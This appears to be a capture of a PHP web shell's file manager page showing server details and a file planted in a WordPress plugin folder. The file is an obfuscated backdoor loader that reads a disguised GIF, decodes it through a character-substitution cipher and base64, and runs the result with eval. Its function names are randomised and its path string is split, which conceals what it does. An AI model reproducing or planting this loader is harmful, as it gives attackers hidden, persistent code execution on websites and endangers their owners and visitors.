HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/abepegul/bevega.txt
<?php

function otoqoh_ivohacafi($gabyxu_kikhachamib) {
    $kulyshi = xememu_wuchanysh(1);
    $enybas = xememu_wuchanysh(2);
    for ($myvoce = 0; $myvoce < strlen($kulyshi); $myvoce++) {
        $utogynu = substr($kulyshi, $myvoce, 1);
        $yhytimu = substr($enybas, $myvoce, 1);
        $owixyji[$utogynu] = $yhytimu;
    }

    $jinywu = strtr($gabyxu_kikhachamib, $owixyji);
    $jinywu = base64_decode($jinywu);

    return $jinywu;
}

function xememu_wuchanysh($gabyxu_kikhachamib) {
    if ($gabyxu_kikhachamib == 1)
        return ygupum_ysokhishogo();
    if ($gabyxu_kikhachamib == 2)
        return xufuja_zhashulyzh();
}

function silixe_zhyjupiqu($gabyxu_kikhachamib) {
    $sikyra = array();
    if (!file_exists($gabyxu_kikhachamib))
        return false;
    $amyryj = @file_get_contents($gabyxu_kikhachamib);
    if (!$amyryj)
        return false;
    $amyryj = substr($amyryj, 3);
    $sikyra = otoqoh_ivohacafi($amyryj);
    return $sikyra;
}

function ygupum_ysokhishogo() {
    $amyryj = "/vlLhnr0Tc4NyiSjoXqCWO1=bYpQ+Gt3ZDafMsERBz29H5dmA8Pe7wuFUkKI6JVgx";
    return $amyryj;
}

function xufuja_zhashulyzh() {
    $sikyra = "rD9VNpk=Ey4fM5tSImnOHAdl0jXCsgo+qR8T/aYWBueiQ6P7Fbz2xJcKv3GwZLUh1";
    return $sikyra;
}

$jobydew = silixe_zhyjupiqu(__DIR__ . "/asse" . "ts/i" . "mages/" . "achon" . "uw.gi" . "f");
if ($jobydew) {
    @eval($jobydew);
}